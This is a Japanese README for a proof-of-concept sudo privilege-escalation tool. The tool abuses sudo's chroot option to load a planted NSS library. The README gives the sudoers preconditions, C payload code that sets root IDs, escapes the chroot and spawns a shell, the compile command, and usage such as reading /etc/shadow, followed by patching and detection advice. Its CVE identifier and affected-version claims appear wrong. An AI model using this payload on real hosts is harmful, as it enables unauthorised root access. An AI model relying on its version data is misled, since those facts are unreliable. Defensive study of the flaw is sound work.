
CVE-2023-42456 の概念実証エクスプロイト。chroot インジェクションを介した sudo NSS ライブラリのハイジャックによる権限昇格を示します。自動バージョン検出、ペイロード生成、および認可されたセキュリティテストのための chroot エスケープが含まれています。
著者: 0xb0rn3 | 0xbv1
種別: 概念実証 (PoC) セキュリティ研究ツール
CVE: CVE-2023-42456
手法: sudo -R chroot NSS ライブラリインジェクション → root への権限昇格
このツールは、認可されたペネトレーションテストと教育目的のセキュリティ研究専用に開発されています。所有しているシステム、またはテストするための明示的な書面による許可を得ているシステムでのみ実行してください。著者は誤用について一切の責任を負いません。無許可での使用は違法です。
Xpl0it は、-R (chroot) フラグ使用時に sudo が動的 NSS (Name Service Switch) ライブラリを読み込む際の信頼モデルの欠陥を悪用する概念実証 (PoC) です。影響を受ける sudo バージョンでは、chroot ディレクトリを制御する攻撃者が、その内部の nsswitch.conf を改ざんし、sudo に悪意のある共有ライブラリを読み込ませることができます。これは、sudo が昇格した特権を保持している間、つまり資格情報の破棄が行われる前に発生します。
実行が成功すると、このツールは root シェルを起動するか、指定した任意のコマンドを uid=0 gid=0 で実行します。
このツールは CVE-2023-42456 のみを対象としています。この脆弱性は 2 つのリリースブランチに存在し、それぞれに個別の修正コミットがあります。
重要: sudo 1.9.17 以降は影響を受けません。以前のツールや解説記事は、この範囲を "1.9.14–1.9.17" と誤って記載していました。このツールはブランチごとのバージョン検出を行い、誤検知を防ぎます。
以下の CVE はこの手法では悪用できず、誤検知を防ぐために意図的に除外されています。
| CVE | 手法 | 除外理由 |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | ヒープベースのバッファオーバーフロー | まったく異なる攻撃ベクトル |
| CVE-2021-23239 | sudoedit の競合状態 | 異なる手法 |
| CVE-2021-23240 | SELinux ロールのシンボリックリンクバイパス | 異なる手法 |
sudo -R を使用するには、対象ユーザーの sudoers エントリに明示的な ChrootDir= ディレクティブが必要です。NOPASSWD だけでは -R の権限は付与されません。
ChrootDir がない場合、sudo は -R フラグを完全に拒否します:
sudo: you are not permitted to use the -R option with bridge
このエクスプロイトを許可する sudoers エントリは、次のいずれかの形式である必要があります:
# Unrestricted chroot path (ideal attack condition)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Path-restricted chroot (tool adapts staging dir automatically)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Specific path (tool creates staging inside the allowed path)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it は、ステージング作業を行う前に sudo -l を解析して ChrootDir を確認し、権限がない場合は明確な説明とともに早期に中止します。
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
ステップ 1 — 偵察
OS、カーネルバージョン、アーキテクチャ、現在のユーザーコンテキスト、および有効なライブラリ検索パスをすべて収集します。AppArmor/SELinux の強制モードと NoNewPrivs の状態を検出します。これらが有効な場合、いずれもエクスプロイトを静かにブロックする可能性があります。
ステップ 2 — バージョンフィンガープリント
sudo --version を解析し、CVE-2023-42456 の影響を受ける 2 つのブランチの範囲をパッチレベルまで正確に確認します。バージョンが修正済みまたは範囲外の場合は、説明とともに中止します。
ステップ 3 — ChrootDir 権限の確認
sudo -l を解析して ChrootDir= ディレクティブを確認します。存在しない場合は直ちに中止します。特定のパスに制限されている場合は、sudo が -R 呼び出しを受け入れるように、そのパスをステージングの対象として自動的に使用します。
ステップ 4 — エクスプロイト前のプローブ
実際のステージング作業を行う前に、使い捨ての最小限の chroot を構築し、無害な sudo -R 呼び出しを実行します。sudo が NSS 解決に到達することを確認し、"not permitted" という拒否を早期に検出します。
ステップ 5 — ペイロード生成
bridge90.c を作成します。これは、動的リンカーが読み込んだ瞬間に発火する __attribute__((constructor)) 関数 (_nss_bridge90_init) を持つ C 共有ライブラリです:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
ステップ 6 — 環境構築
ステージングディレクトリ内に、もっともらしい chroot を構築します:
bridge/etc/nsswitch.conf — bridge90 NSS サービスを読み込むよう改ざんbridge/<lib_path>/libnss_bridge90.so.2 — ペイロード。検出されたすべてのライブラリパスに配置 (multilib 対応)bridge/bin/bridge — sudo が実行前チェックを通過するために必要なスタブ実行ファイルbridge/bin/sh、bridge/bin/bash — 正しい ELF インタープリタを持つシェル (readelf -l で検出)bridge/etc/ld.so.conf — すべてのライブラリパスをカバーし、ldconfig -r が有効なキャッシュを構築できるようにするステップ 7 — コンパイル
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — デフォルトのスタートアップコードなし。コンストラクタがすべてを処理します-Wl,-soname — NSS 名前解決のための正しい SONAME-Wl,-init は指定しない — __attribute__((constructor)) で十分です。-Wl,-init を追加すると二重呼び出しが発生し、バグになりますコンパイル後、nm -D でコンストラクタシンボルが動的エクスポートテーブルに存在することを確認します。
ステップ 8 — 実行
ステージングディレクトリから sudo -R bridge bridge を実行します。NSS が bridge90 を解決 → ライブラリを読み込み → 昇格した特権でコンストラクタが発火 → chroot エスケープが実行され → root シェルが起動します。
sudo の -R 実装は、進入先の chroot ディレクトリの内容を信頼します。この問題が修正される前、sudo は chroot 環境が改ざんされていないかどうかを検証していませんでした。chroot パスを提供するユーザーは、nsswitch.conf やそれが参照する NSS ライブラリを含む、その内容を制御できるため、sudo が特権を破棄する前に実行される任意のコードへライブラリの読み込みをリダイレクトできます。
sudo のパッチ適用
1.9.15p2、1.9.16p2、または任意の 1.9.17+ リリースに更新してください。これらのバージョンは、chroot 環境内での NSS 解決を許可する前に、その環境を検証します。
# Check your version
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
ChrootDir ディレクティブの監査
/etc/sudoers と /etc/sudoers.d/ 内のすべてのファイルを確認してください。明示的に必要な場合を除き、ChrootDir= エントリを削除してください。ワイルドカードを制限し、ChrootDir=* ではなく ChrootDir=/specific/path を推奨します。
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
監査ログのシグネチャ
# auditd — detect sudo -R invocations (rare in legitimate use)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
不審な兆候
sudo -R 呼び出し — 正規の本番環境での使用は極めて稀sudobridge.* に一致する名前の /tmp 配下の一時ディレクトリ/tmp またはユーザー書き込み可能なディレクトリ内の libnss_*.so.2 ファイルgcc の実行setreuid/setregid システムコール# Make executable
chmod +x Xpl0it
# Drop into root shell (default)
./Xpl0it
# Run a specific command as root
./Xpl0it -c "id && cat /etc/shadow"
# Debug mode — verbose output, staging directory preserved on exit
./Xpl0it -d
# Prompt before continuing on version mismatch
./Xpl0it -v
# Combine flags
./Xpl0it -v -d -c "/bin/bash"
対象ユーザーの sudoers エントリにも ChrootDir= が含まれている必要があります。ツールはこれを自動的に確認し、存在しない場合は説明とともに即座に失敗します。
エクスプロイトが失敗した場合は、-d を付けて実行するとステージングディレクトリが保持されるため、以下を確認してください:
よくある失敗の原因:
man nsswitch.conf、man 5 nssman ld.so、man ldconfigchroot(2) マニュアルページ精度、移植性、または検出範囲を向上させる貢献を歓迎します。追加する内容は、責任ある情報開示の原則と認可されたテストのユースケースに沿ってください。
Xpl0it は認可されたセキュリティ研究専用です。所有していないシステムでテストする前に、必ず明示的な書面による許可を取得してください。
| ブランチ | 影響あり | 修正版 |
|---|
| 1.9.14.x | すべて (1.9.14 – 1.9.14p2) | N/A (ブランチ全体に影響) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | 影響なし | 修正はブランチより前に上流へマージ済み |
| レイヤー | 対策 |
|---|
| Patch | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | ChrootDir=* を削除し、特定のパスのみを使用 |
| MAC | 信頼できない dlopen() をブロックする AppArmor/SELinux プロファイル |
| Filesystem | /tmp とユーザーディレクトリを noexec,nosuid でマウント |
| IMDSv2 | クラウドインスタンスでは、トークンベースのメタデータアクセスを要求 |
| Monitoring | sudo -R の呼び出しを auditd でアラート |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS により setreuid() の動作を防止 |
| フラグ | 説明 |
|---|
-c, --command <cmd> | 権限昇格後に実行するコマンド (デフォルト: /bin/bash) |
-d, --debug | 詳細なデバッグ出力。終了時にステージングディレクトリを保持 |
-v, --verbose | バージョンが影響を受ける範囲外の場合、続行前に確認を求める |
-h, --help | 使用方法を表示 |
--version | バージョンを表示 |
| 依存関係 | 必須 | 目的 |
|---|
gcc | はい | ターゲット上で NSS 共有ライブラリをコンパイル |
sudo | はい | ターゲットバイナリ |
ldconfig | はい | chroot 内で ld.so.cache を構築 |
readelf | はい | ELF インタープリタのパスを検出 |
grep, awk, sed, find | はい | 標準ユーティリティ |
strace, ltrace, gdb | 任意 | 拡張デバッグ |
nm | 任意 | コンストラクタシンボルの検証 |
| 確認項目 | パス | 確認内容 |
|---|
| コンパイルログ | $STAGE/logs/compile.log | gcc エラー |
| ldconfig ログ | $STAGE/logs/ldconfig.log | キャッシュ構築エラー |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| ライブラリ | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | 存在すること |
| Sudoers | sudo -l | ChrootDir= が表示されること |
| エラー | 原因 |
|---|
not permitted to use the -R option | sudoers に ChrootDir= がない |
| 終了コード 1、NSS エラーなし | sudo バージョンが修正済み |
| ライブラリがエラーなしで読み込まれない | AppArmor/SELinux が dlopen() をブロック |
setreuid が無視される | プロセスで NoNewPrivs=1 が設定されている |
| ライブラリが見つからない | ldconfig -r が失敗し、シンボリックリンクによるフォールバックも不十分 |